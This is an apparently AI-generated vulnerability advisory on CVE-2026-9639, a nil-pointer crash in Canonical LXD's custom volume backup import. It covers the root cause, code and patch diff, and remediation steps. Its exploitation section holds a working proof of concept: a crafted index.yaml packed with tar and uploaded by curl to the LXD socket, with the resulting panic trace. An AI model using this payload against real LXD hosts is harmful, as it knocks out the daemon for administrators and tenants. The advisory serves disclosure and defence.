CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-9639

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 7, 2026·9 min read·4 visits

Executive Summary (TL;DR)

An unguarded pointer dereference on snapshot expiration timestamps during custom storage volume backup restoration allows authenticated users with volume creation privileges to crash the Canonical LXD daemon via a malformed backup archive.

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Vulnerability Overview

Canonical LXD is a system container and virtual machine manager that exposes a REST API over a local Unix socket and optional HTTPS endpoints. Among its storage management features, LXD allows users to export and import custom storage volumes as compressed backup archives (tar.gz). This functionality is exposed via the POST /1.0/storage-pools/{pool}/volumes/custom REST API endpoint.

CVE-2026-9639 (also tracked as GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability (CWE-476) located in the (*lxdBackend).CreateCustomVolumeFromBackup function in lxd/storage/backend_lxd.go. When LXD processes an uploaded custom storage volume backup archive, it parses the structural metadata defined within the archive's backup/index.yaml file. This metadata includes definitions for the primary custom volume and any associated volume snapshots.

If a snapshot entry in backup/index.yaml omits the optional expires_at timestamp field, the Go YAML deserializer populates the corresponding struct field (ExpiresAt) with a nil pointer. During the database record creation phase for the imported snapshots, the LXD storage backend unconditionally dereferences this pointer without verifying whether it is nil.

An authenticated user possessing the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) permission on any project can exploit this flaw by submitting a specially crafted backup tarball. Dereferencing the nil pointer causes the Go runtime to raise an unhandled SIGSEGV segmentation violation, immediately crashing the entire lxd daemon process and causing a denial of service across all management operations on the host.

Root Cause Analysis

In LXD's API data structures (shared/api/storage_pool_volume_snapshot.go), the expiration timestamp for a storage pool volume snapshot is represented as a pointer to a time.Time struct:

ExpiresAt *time.Time `json:"expires_at" yaml:"expires_at"`

Pointer types (*time.Time) are standard in Go for representing optional timestamp fields in JSON and YAML payloads. When a user supplies a backup/index.yaml file where a snapshot entry under config.volumes[*].snapshots[*] does not include the expires_at key, or explicitly sets it to null, the YAML unmarshaler leaves snapshot.ExpiresAt as nil.

This vulnerability is an incomplete remediation variant of CVE-2026-40197 (GHSA-r7w7-mmxr-47r9), which was patched in LXD via commit 05bc2729e99707a766d5c4705167a3322c9ef424. That earlier fix introduced validation checks (if s == nil) to ensure that snapshot entries themselves within backup/index.yaml were not null pointers before accessing their fields. However, while the fix verified that the parent snapshot struct pointer was non-nil, it failed to validate the nested snapshot.ExpiresAt pointer before passing *snapshot.ExpiresAt by value to VolumeDBCreate at line 8216 of lxd/storage/backend_lxd.go.

The defect represents an asymmetric guard pattern within lxd/storage/backend_lxd.go. Every other consumer of the ExpiresAt pointer within the same source file properly checks for nil prior to dereferencing (specifically at lines 1010-1011, 1274-1275, 1558-1559, 1856-1857, 2454-2455, 5070-5071, and 5527-5528). Only the call site inside CreateCustomVolumeFromBackup omitted the check, leading directly to a crash when VolumeDBCreate is invoked.

Code Analysis

In the vulnerable versions of LXD (up to 6.8 and 5.21.4), (*lxdBackend).CreateCustomVolumeFromBackup iterates over the customVol.Snapshots slice parsed from the backup configuration. After verifying that the loop element s is not nil, the function prepares to register the snapshot in the LXD database using VolumeDBCreate.

The VolumeDBCreate function signature expects a concrete time.Time value rather than a *time.Time pointer for the expiration parameter. In the unpatched code, the developer passed *snapshot.ExpiresAt directly into the function call:

// Vulnerable code in lxd/storage/backend_lxd.go
for i, s := range customVol.Snapshots {
	if s == nil {
		return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
	}
	snapshot := s
	// ... [configuration stripping and volume setup omitted] ...
 
	// Validate config and create database entry for new storage volume.
	// Strip unsupported config keys (in case the export was made from a different type of storage pool).
	err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
	if err != nil {
		return err
	}
}

Canonical remediated this flaw in commit c7cdfadb6044dfeaac592dc225978b4125ee23fe (PR #18320 for the main branch) and backported it to the 5.21 LTS branch in commit d15520809e6e2ac2af0c6354dfb7be5854b0e859 (PR #18390). The patch introduces a stack-allocated time.Time variable (snapExpiryDate), which Go automatically initializes to the zero time value (0001-01-01 00:00:00 +0000 UTC). The code then checks whether snapshot.ExpiresAt is non-nil before dereferencing it:

--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8213,7 +8213,12 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(ctx context.Context, srcBackup
 
 		// Validate config and create database entry for new storage volume.
 		// Strip unsupported config keys (in case the export was made from a different type of storage pool).
-		err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+		var snapExpiryDate time.Time
+		// Guard against nil pointer when expires_at is omitted in backup/index.yaml
+		if snapshot.ExpiresAt != nil {
+			snapExpiryDate = *snapshot.ExpiresAt
+		}
+
+		err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
 		if err != nil {
 			return err
 		}

> [!NOTE] > Fix Completeness Assessment: The patch completely resolves the null pointer dereference on ExpiresAt within CreateCustomVolumeFromBackup and brings line 8216 into alignment with the defensive checks already present at the seven other ExpiresAt dereference sites in lxd/storage/backend_lxd.go. Because CreatedAt in the same struct is defined as a value type (time.Time) rather than a pointer, it is not susceptible to an equivalent nil-dereference variant in this function.

Exploitation

Exploiting CVE-2026-9639 requires authenticated access to the LXD REST API. Specifically, the attacker must authenticate as an identity that holds the can_create_storage_volumes permission (mapped internally to EntitlementCanCreateStorageVolumes) within any valid LXD project. In multi-tenant deployments using Fine-Grained Authorization (OpenFGA/RBAC) or local unix group access, non-administrative users are routinely granted volume management privileges within their designated projects.

To trigger the vulnerability, the attacker creates a minimal backup/index.yaml file defining a custom volume (type: custom) and a single snapshot (snap0). Within the config.volumes[0].snapshots[0] map, the expires_at key is omitted:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  version: 2
  pools:
    - {name: default, driver: dir, config: {}}
  volumes:
    - name: poc-vol
      type: custom
      pool: default
      content_type: filesystem
      config: {}
      snapshots:
        - name: snap0
          description: snap0
          config: {}

The attacker packages this YAML file into a gzipped tarball and submits it as an application/octet-stream binary payload to the /1.0/storage-pools/<pool>/volumes/custom endpoint:

# Package the crafted index.yaml into a backup archive
tar -czf /tmp/poc-vol-lxd.tar.gz backup/index.yaml
 
# Upload the archive to the LXD REST API
curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom

When the LXD daemon receives this request, it spawns an asynchronous background operation goroutine (createStoragePoolVolumeFromBackup) to extract and import the volume. Because this goroutine executes without a recover() handler capable of isolating segmentation faults, evaluating *snapshot.ExpiresAt triggers an immediate process-wide panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
 
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c

Impact Assessment

CVE-2026-9639 is rated at CVSS v3.1 Base Score 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. The Attack Vector is Network (AV:N) because the LXD REST API is commonly exposed over TLS on TCP port 8443 for remote client and cluster operations, in addition to the local Unix domain socket. Attack Complexity is Low (AC:L), requiring no race conditions or memory layout preparation, and Privileges Required is Low (PR:L), reflecting the requirement for basic project-level storage volume creation permissions.

The security impact is strictly confined to Availability (A:H), with no impact on Confidentiality (C:N) or Integrity (I:N). Because Go safely traps null pointer dereferences at page zero (addr=0x0) and terminates the process via SIGSEGV, an attacker cannot leverage this primitive for out-of-bounds memory reads or arbitrary code execution.

However, the operational disruption caused by terminating the lxd daemon is significant, particularly in multi-tenant or clustered environments. While running containers and QEMU virtual machines continue executing independently of the management daemon, all control-plane operations immediately fail. In-flight operations—such as live migrations, container launches, image downloads, and storage pool modifications—are abruptly aborted, which can leave storage volumes or database records in partially initialized states.

Furthermore, because the payload is small and deterministic, an authenticated attacker can repeatedly issue the POST request each time the service manager (such as systemd or snapd) restarts the lxd daemon. This creates a persistent denial-of-service condition that prevents administrators and automated orchestrators from managing the host until the attacker's credentials or permissions are revoked.

Remediation

Administrators and operators running Canonical LXD should upgrade to a patched release that includes the nil-pointer validation check. Canonical has released fixes across both active release tracks:

  • LXD 6.x Series: Upgrade to LXD 6.9 or later (patched via commit c7cdfadb6044dfeaac592dc225978b4125ee23fe).
  • LXD 5.21 LTS Series: Upgrade to LXD 5.21.5 or later (patched via commit d15520809e6e2ac2af0c6354dfb7be5854b0e859).

For systems deployed via Snap packages, updates can be applied by refreshing the snap channel corresponding to the deployed track:

# Refresh LXD on the 5.21 LTS track
snap refresh lxd --channel=5.21/stable
 
# Refresh LXD on the 6.x feature track
snap refresh lxd --channel=latest/stable

In environments where an immediate upgrade is not feasible, administrators should audit and restrict access to the LXD REST API and review Role-Based Access Control (RBAC) / OpenFGA policies. Specifically, revoke the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) entitlement from untrusted or semi-trusted project users so they cannot invoke the custom volume backup import endpoint.

Additionally, ensure that the service supervisor managing the lxd daemon is configured to automatically restart the process upon abnormal termination (e.g., Restart=on-failure or Restart=always in systemd), and configure log monitoring to alert on SIGSEGV panics originating from backend_lxd.go.

Official Patches

CanonicalOfficial GitHub Security Advisory for CVE-2026-9639 / GHSA-j93m-3j9p-m5m8
CanonicalPull Request #18320 fixing the issue on the main branch
CanonicalPull Request #18390 backporting the fix to the 5.21 LTS branch
CanonicalCanonical LXD 6.9 Release
CanonicalCanonical LXD 5.21.5 LTS Release

Fix Analysis (3)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.55%
Top 54% most exploited

Affected Systems

Canonical LXD

Affected Versions Detail

Product
Affected Versions
Fixed Version
LXD
Canonical
>= 6.0, < 6.96.9
LXD
Canonical
>= 5.0.0, < 5.21.55.21.5
AttributeDetail
Vulnerability ClassCWE-476: NULL Pointer Dereference
CVSS v3.1 Score6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Affected Component(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go
Attack VectorAuthenticated HTTP POST to /1.0/storage-pools/{pool}/volumes/custom
Required Privilegescan_create_storage_volumes (EntitlementCanCreateStorageVolumes)
Primary ImpactUnhandled SIGSEGV daemon crash (Denial of Service)
Exploit StatusPublic Proof-of-Concept (PoC) Available
Patched VersionsLXD 6.9 and LXD 5.21.5

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-476
NULL Pointer Dereference

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Known Exploits & Detection

GitHub Security AdvisoryPublic Proof of Concept (PoC) backup/index.yaml payload and curl reproduction steps published in the official vendor advisory.

Vulnerability Timeline

Upstream fix for CVE-2026-40197 (GHSA-r7w7-mmxr-47r9) committed to LXD (05bc2729e99707a766d5c4705167a3322c9ef424), leaving snapshot.ExpiresAt unguarded.
2026-05-01
Vulnerability reported privately by researcher tonghuaroot; patches authored by Thomas Parrott in commits c7cdfadb6044dfeaac592dc225978b4125ee23fe and d15520809e6e2ac2af0c6354dfb7be5854b0e859.
2026-05-22
CVE-2026-9639 and GHSA-j93m-3j9p-m5m8 published alongside patched releases LXD 6.9 and LXD 5.21.5.
2026-06-26
NVD vulnerability records updated and finalized.
2026-10-25

References & Sources

  • [1]GitHub Security Advisory GHSA-j93m-3j9p-m5m8
  • [2]National Vulnerability Database (NVD) - CVE-2026-9639
  • [3]CVE.org Record - CVE-2026-9639
  • [4]Canonical LXD Pull Request #18320 (Main Branch Fix)
  • [5]Canonical LXD Pull Request #18390 (5.21 LTS Backport)
  • [6]Fix Commit c7cdfadb6044dfeaac592dc225978b4125ee23fe
  • [7]Backport Commit d15520809e6e2ac2af0c6354dfb7be5854b0e859
  • [8]Prior Commit 05bc2729e99707a766d5c4705167a3322c9ef424 (CVE-2026-40197 Fix)
  • [9]Canonical LXD 6.9 Release Notes
  • [10]Canonical LXD 5.21.5 Release Notes
  • [11]CVEListV5 JSON Record for CVE-2026-9639
Related Vulnerabilities
CVE-2026-40197

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
5 views•9 min read
•about 3 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 4 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 5 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 6 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
5 views•10 min read
•about 7 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
6 views•11 min read